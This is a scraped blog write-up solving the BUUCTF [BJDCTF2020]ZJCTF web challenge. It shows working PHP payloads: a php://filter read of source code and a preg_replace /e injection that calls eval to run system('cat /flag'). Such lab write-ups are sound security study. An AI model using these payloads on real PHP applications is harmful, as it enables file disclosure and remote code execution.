当前位置:网站首页>Buuctf Web [bjdctf2020] zjctf, but so
Buuctf Web [bjdctf2020] zjctf, but so
2022-04-23 12:33:00 【Y1Daa】
BUUCTF WEB [BJDCTF2020]ZJCTF, nothing more than this
-
Get the source code after entering the environment
<?php error_reporting(0); $text = $_GET["text"]; $file = $_GET["file"]; if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ die("Not now!"); } include($file); //next.php } else{ highlight_file(__FILE__); } ?> -
Use PHP Pseudo protocol construction payload
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.phpThe echo
PD9waHAKJGlkID0gJF9HRVRbJ2lkJ107CiRfU0VTU0lPTlsnaWQnXSA9ICRpZDsKCmZ1bmN0aW9uIGNvbXBsZXgoJHJlLCAkc3RyKSB7CiAgICByZXR1cm4gcHJlZ19yZXBsYWNlKAogICAgICAgICcvKCcgLiAkcmUgLiAnKS9laScsCiAgICAgICAgJ3N0cnRvbG93ZXIoIlxcMSIpJywKICAgICAgICAkc3RyCiAgICApOwp9CgoKZm9yZWFjaCgkX0dFVCBhcyAkcmUgPT4gJHN0cikgewogICAgZWNobyBjb21wbGV4KCRyZSwgJHN0cikuICJcbiI7Cn0KCmZ1bmN0aW9uIGdldEZsYWcoKXsKCUBldmFsKCRfR0VUWydjbWQnXSk7Cn0Kbase64 Decrypt
<?php $id = $_GET['id']; $_SESSION['id'] = $id; function complex($re, $str) { return preg_replace( '/(' . $re . ')/ei', 'strtolower("\\1")', $str ); } foreach($_GET as $re => $str) { echo complex($re, $str). "\n"; } function getFlag(){ @eval($_GET['cmd']); } -
You can see here cmd There is a command execution vulnerability in parameter , But the question is how to call getFlag() function . This involves preg_replace /e Pattern code execution vulnerability
function complex($re, $str) { return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str); } foreach($_GET as $re => $str) { echo complex($re, $str). "\n"; }if payload by
/?.*={${phpinfo()}}be
Original statement : preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value); It becomes a statement : preg_replace('/(.*)/ei', 'strtolower("\\1")', { ${ phpinfo()}});Be careful : Add... To both sides of regular expression pattern or partial pattern
()Store the string that causes the match in the temporary buffer , Buffer number from 1 Start , Maximum storage 99 Sub expression . Each buffer can be used\nvisit , among n Number the buffer .preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});It will put{${phpinfo()}}Store to buffer 1, At this time, the matched string is/(\\1)/ei,\\1namely\1, This will cause the contents of the backreference buffer , Change it to/{${phpinfo()}}/ei, This causes the command to execute . -
In the subject ,PHP Will send the incoming illegal
$_GETArray parameter names are converted to underscores , the.*Turn into_. You can modify payload by?\S*=${getFlag()}&cmd=...among
\SMeans to match any non whitespace character , So that we can call getFlag The purpose of the function -
structure payload
?\S*=${getFlag()}&cmd=system('cat /flag');The echo
flag{6b53cc7c-e9e8-47a1-80ed-10ca16c81ae5} system('cat /flag');
版权声明
本文为[Y1Daa]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/04/202204231227159478.html
边栏推荐
- Why is there a wrapper class? By the way, how to convert basic data types, wrapper classes and string classes?
- QT double buffer drawing
- How do programmers finalize nucleic acid statistics with 130 lines of code
- 在 VSCode 中调试 Jest 的测试用例,VSCode调试Jest测试用例报错basedir=$(dirname “$(echo “$0“ | sed -e ‘s,\\,/,g‘)“)解决
- Zero trust in network information security
- 为什么hash%length==hash&(length-1)的前提是 length 是 2 的 n 次方
- S2-062 远程命令执行漏洞复现(cve-2021-31805)
- IDEA 数据库插件Database Navigator 插件
- 对称加密、证书加密
- 天梯赛赛前练习
猜你喜欢

AI video cloud vs narrowband HD, who is the darling of the video era

Next. JS static data generation and server-side rendering

【每日一题】棋盘问题

IDEA 数据库插件Database Navigator 插件

Qt一个进程运行另一个进程

I changed to a programmer at the age of 31. Now I'm 34. Let me talk about my experience and some feelings

QT draw image

Message queuing overview

CGC: contractual graph clustering for community detection and tracking

IDEA 中 .properties文件的中文显示乱码问题的解决办法
随机推荐
Why is the premise of hash% length = = hash & (length-1) that length is the nth power of 2
[wechat applet] Z-index is invalid
栈和队列a
How to expand the capacity of the server in the 100 million level traffic architecture? Well written!
Pre competition practice of TIANTI competition
Debug Jest test cases in VSCode, debug Jest test cases in VSCode, middle note basedir=$(dirname "$" (echo "$0" sed -e -e, s, \ \, / "-e").
免费试用一个月的服务器,并附上教程
为什么hash%length==hash&(length-1)的前提是 length 是 2 的 n 次方
九十八、freemarker框架报错 s.e.ErrorMvcAutoConfiguration$StaticView : Cannot render error page for request
Uni app native app cloud packaging integrated Aurora push (jg-jpush) detailed tutorial
软件测试对于减少程序BUG有多大帮助?
洛谷P3236 [HNOI2014]画框 题解
万事有你 未来可期 | ONES 2022校园招聘正式开启
基于卷积神经网络的遥感影像分类识别系统
一个平面设计师的异想世界|ONES 人物
【vulnhub靶场】-dc2
One way ANOVA of SPSS
Fabric 1.0 source code analysis (33) implementation of peer channel command and subcommand
Intelligent multi line elastic cloud adds independent IP address. How to realize multi line function?
力扣刷题之完全二叉树的节点个数